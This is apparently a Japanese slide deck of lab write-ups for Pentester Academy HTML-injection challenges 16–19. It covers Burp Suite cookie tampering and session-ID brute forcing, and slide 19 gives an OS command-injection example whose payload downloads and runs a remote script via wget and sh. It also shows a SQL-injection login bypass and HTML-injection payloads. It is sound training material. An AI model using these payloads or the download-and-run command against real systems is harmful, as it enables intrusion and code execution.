Recommended
More Related Content
Viewers also liked
Similar to Web applicationpenetrationtest その4
Similar to Web applicationpenetrationtest その4 (20)
More from Tetsuya Hasegawa
More from Tetsuya Hasegawa (20)
Web applicationpenetrationtest その4
- 1. 1 /40 長谷川
- 2. 2 /40 1. Webアプリのペネトレーションテストのスキルアップ ペンテスト（侵入テスト）のMOOCサイトの問題をガンガン解いていきます。 http://www.pentesteracademy.com/ その1.pptx Challenge 1 ～ Challenge 7 ： 認証突破 その2.pptx Challenge 8 ～ Challenge 11 ： セッションID突破 その3.pptx Challenge 12 ～ Challenge 15 ： トラフィック解析 その4.pptx Challenge 16 ～ Challenge 19 ： HTML injection その5.pptx Challenge 20 ～ Challenge 36 ： XSS その6.pptx以降 Unvalidated Redirects、CSRF つづく Wikipediaより Massive Open Online Course (MOOC、ムーク) はインターネッ ト上で誰もが無料で受講できる大規模な開かれた講義のことである。
- 3. 3 /40 ツール、言語 ◦ Burp Suite ※使用頻度の高いBurp Suiteの詳細説明をします。 ※その他のツールの説明はその1.pptx～その3.pptx 参照。 HTML injection（予備知識） 問題 ＆ 解き方 ＆ 解答
- 5. 5 /40 プロキシ型のWAPツール。 ◦ Burp Proxy ※よく使うので説明します。 ブラウザ-target アプリケーション間のMITM。Requestの修正等ができる。 ◦ Burp Spider トラフィックの調査、脆弱性の発見等。 ◦ Burp Web Vulnerability Scanner 脆弱性のチェック。 ◦ Burp Sequencer シーケンス番号のランダム性のチェック。 などなど 便利なところ ◦ 勝手にチェックしてくれる。大体何でもできる。 イマイチなところ ◦ フリー版は機能制限あり。 画面 Webブラウザ Burp Proxy Webサーバー 修正
- 6. 6 /40 その3.pptx Challenge 8より http://pentesteracademylab.appspot.com//lab/webapp/cookie/1 この問題を解くためにはrequestで送信するCookieを書き換える必要がある。 Webブラウザ Burp Proxy Webサーバー 書き換え HTTP： Cookie:user_id=TUE9PQ== HTTP： Cookie:user_id=TVE9PQ==
- 11. 11 /40 その3.pptx Challenge 10より http://pentesteracademylab.appspot.com/lab/webapp/sid/2 この問題を解くためにはセッションIDに対してブルートフォース攻撃する必要がある。 Webブラウザ Burp Proxy Webサーバー ブルートフォース攻撃 HTTP： Request （セッションID=1000） 元のrequestをもとにブルートフォース攻撃 HTTP： Request （セッションID=1000） Request （セッションID=1001） Request （セッションID=1002） ～省略～ Request （セッションID=1998） Request （セッションID=1999）
- 12. 12 /40 ①～③はユースケース①と同じ。 ④ [Intercept]をONにする。 ブラウザのInterceptが開始する。 Action：様々なアクションをする ⇒ Send to Intruder ※Burp Intruder：様々な攻撃をするツール。 ブルートフォース攻撃対象のセッションID。
- 14. 14 /40 ⑥ [Payloads]でPayload typeにBrute forcerを選択。 Character setに「0～9」、Min lengthに「3」、Max lengthに「3」を選択。 Start attackを選択。
- 16. 16 /40 情報収集：Reconnaissance ◦ 情報を収集する。（データフロー、フィンガープリント、ソース） Wireshark、Blind Elephant、httprint マッピング：Mapping ◦ ターゲットアプリケーションの検査。 Burp Spider、SprAJAX、WebScarab 発見：Discovery ◦ ターゲットアプリケーションの脆弱性の発見。 エクスプロイト：Exploit ◦ 脆弱性を実証する。 SANS SEC542より
- 17. 17 /4017 Challenge 16 ～ Challenge 19
- 18. 18 /40 Injection ： 注入。 Injection攻撃 = プログラムに攻撃コードを注入する攻撃。 代表的なinjection攻撃 ◦ OSコマンド injection クライアントのrequestからOSコマンドを組み立てるプログラムへの攻撃。 ◦ HTML injection クライアントのrequestからWebページを組み立てるプログラムへの攻撃。 ◦ SQL injection クライアントのrequestからSQL文を組み立てるプログラムへの攻撃。
- 19. 19 /40 クライアントのrequestからOSコマンドを組み立てるプログラムへの攻撃 ・アプリケーション $address = param{'address'}; #requestからe-mailアドレスを取得 $message = "message.txt"; #送信するメッセージが格納されたファイル system("sendmail $address < $message"); #sendmailコマンドでメール送信 ・攻撃者のRequest address=example@hoge.jp </dev/null; wget http://site/badscript; sh badscript # ・実行されるOSコマンド $addressに上記のrequestが設定される sendmail example@hoge.jp < /dev/null; #適当なアドレスにメール送信 wget http://site/badscript.sh #攻撃コードのダウンロード sh badscript.sh #攻撃コードの実行 攻撃者 Webサーバー アプリケーション シェル Request （攻撃コード） Requestの加工 OSコマンドの実行 例）Requestされたメールを送信するPerlアプリケーションへの攻撃
- 20. 20 /40 クライアントのrequestからHTMLを組み立てるプログラムへの攻撃 HTML injectionには様々な種類がある。 スクリプト injection JavaScript等に攻撃コードを注入する。応用例にXSSがある。 フレーム injection Frameに攻撃コードを注入する。昔のIEではframeはノーチェックだったらしい。 コンテンツ injection 生成されるコンテンツに攻撃コードを注入する。 実例は問題を解いて確認する。 攻撃者 Webサーバー アプリケーション Request （攻撃コード） Requestの加工
- 21. 21 /40 クライアントのrequestからSQL文を組み立てるプログラムへの攻撃 ・アプリケーション＋SQL Requestで受信したuser/pwに合致するuserをdatabaseから参照する。 SELECT user database WHERE user='param{'user'}' AND pw='param{'pw'}' ・攻撃者のRequest user=' OR 1=1 --, pw=hoge ・実行されるSQLコマンド $user/$pwに上記のrequestのuser/pwが設定される SELECT user database WHERE user='' OR 1=1 –-' AND pw='hoge' --以降はSQLではコメントとして扱われる。 WHERE以降の条件がOR 1=1で常に真となるため、 適当なパスワードを入れても必ずユーザーID（user）が返ってくる。 攻撃者 Webサーバー アプリケーション Request （攻撃コード） Requestの加工 SQL文の実行 例）RequestされたユーザーID(user)/パスワード(pw)をデータベースから参照する SQLサーバー SQL文 データベース ※説明のため若干簡略化
- 22. 22 /40 IPAのセキュア・プログラミング講座等を参照。 攻撃手法を学ぶことも重要。 IPAのセキュア・プログラミング講座 内容は古いが結構参考になる。 https://www.ipa.go.jp/security/awareness/vendor/programmingv2/index.html Exploit Database 各種injection攻撃をはじめとした実際の攻撃コードのデータベース。 情報が結構早い。 https://www.exploit-db.com/
- 23. 23 /40 Challenge 16: HTML Injection http://pentesteracademylab.appspot.com//lab/webapp/htmli/1 目的 ◦ ページにメッセージを追加する。 ◦ 既存のfromを書き換える。 ヒント（というか注意） ① Challenge Cracked のページは無い。 form
- 24. 24 /40 情報収集：Reconnaissance Email addressにtest1、Passwordにtest2を入力してSign inしてみる。 ・URL http://pentesteracademylab.appspot.com//lab/webapp/htmli/1?email=test1&password=test2 ・わかったこと ①GETメソッドを使用している ⇒ソース、URL、パケットキャプチャで確認。 ②GETメソッドのパラメーター（前のrequest） 「email」をEmailの入力欄に表示している。 ⇒ソースで確認。 そのままformに表示している
- 25. 25 /40 マッピング：Mapping 発見：Discovery emailに入れる文字 方針① value=を終端する。 ・URL http://pentesteracademylab.appspot.com//lab/webapp/htmli/1?email=test1&password=test2 そのままformに表示している 例） "><br><b>Well done!<br>This challenge has been cracked!</b><!-- email欄に入力してもよいし、 GETメソッドのemailパラメーターに入力してもよい。
- 26. 26 /40 注入した文字列
- 27. 27 /40 Challenge 17: HTML Injection II http://pentesteracademylab.appspot.com//lab/webapp/htmli/2 目的 ◦ <H1>タグで"Vulnerable to HTMLi"を追加。 ヒント（というか注意） ① Challenge Cracked のページは無い。 攻撃前 攻撃後 ※formが1個になっている
- 28. 28 /40 情報収集：Reconnaissance Email addressにtest1、Passwordにtest2を入力してSign inしてみる。 ・URL http://pentesteracademylab.appspot.com//lab/webapp/htmli/2?email=test1&password=test2 ・わかったこと ①GETメソッドを使用している ⇒ソース、URL、パケットキャプチャで確認。 ②GETメソッドのパラメーター（前のrequest） 「email」「password」を入力欄に表示している。 ⇒ソースで確認。 そのままformに表示している
- 29. 29 /40 マッピング：Mapping 発見：Discovery emailに入れる文字 方針① valueを終端。 方針② 目的の文字列を表示。 方針③ 続くinput formを無効化（コメント化）。 目的（再掲） • formを1個にする。emailのformは消せないのでpasswordのformを消す。 • <H1>タグで"Vulnerable to HTMLi"を追加。 例） "><H1>Vulnerable to HTMLi</H1><!–-
- 30. 30 /40 マッピング：Mapping 発見：Discovery うまくいかない⇒ email password 入力 "><H1>Vulnerable to HTMLi</H1><!–- "><H1>Vulnerable to HTMLi</H1><!–- Form "><H1>Vulnerable to H （22文字） "><H1>Vulnerable （16文字） 入力文字列とformの値を比較すると、 文字がカットされていることがわかる。
- 31. 31 /40 マッピング：Mapping 発見：Discovery emailに入れる文字 方針① valueを終端。 方針② 目的の文字列の一部を表示。 方針③ 続くinput formを無効化（コメント化）。 目的（再掲） • formを1個にする。emailのformは消せないのでpasswordのformを消す。 • <H1>タグで"Vulnerable to HTMLi"を追加。 ⇒文字を分割する必要あり • emailは22文字以内、passwordは16文字以内 例） ・email（21文字） "><H1>Vulnerable<!-- ・password（16文字） --> to HTMLi<!-- passwordに入れる文字 方針① コメントを終端。 方針② 目的の文字列の一部を表示。
- 32. 32 /40 注入した文字列
- 33. 33 /40 Challenge 18: HTML Injection III http://pentesteracademylab.appspot.com/lab/webapp/htmli/4 目的 ◦ <H1>タグで"Vulnerable to HTMLi"を追加。 ヒント（というか注意） ① Challenge Cracked のページは無い。 ② EXEファイルを使う http://demofilespa.s3.amazonaws.com/update.exe
- 34. 34 /40 情報収集：Reconnaissance "http://demofilespa.s3.amazonaws.com/update.exe"でList Stringを実行。 ・わかったこと 指定したbinaryファイルの中の3文字以上のテキストを表示している。 （次ページ参照）
- 35. 35 /40 情報収集：Reconnaissance "http://demofilespa.s3.amazonaws.com/update.exe"でList Stringを実行。 Binary Webページ
- 36. 36 /40 情報収集：Reconnaissance "http://demofilespa.s3.amazonaws.com/update.exe"でList Stringを実行。 ソース テキストを羅列しているだけ。
- 37. 37 /40 マッピング：Mapping 発見：Discovery Binaryファイルに"Vulnerable to HTMLi"を追加。 作ったbinaryファイルを直リンクできるアップローダー（AWS、dropbox等）にアップロード。
- 39. 39 /40 Challenge 19: HTML Injection IV http://pentesteracademylab.appspot.com/lab/webapp/htmli/3 目的 ◦ <H1>タグで"Vulnerable to HTMLi"を追加。 ヒント（というか注意） ① Challenge Cracked のページは無い。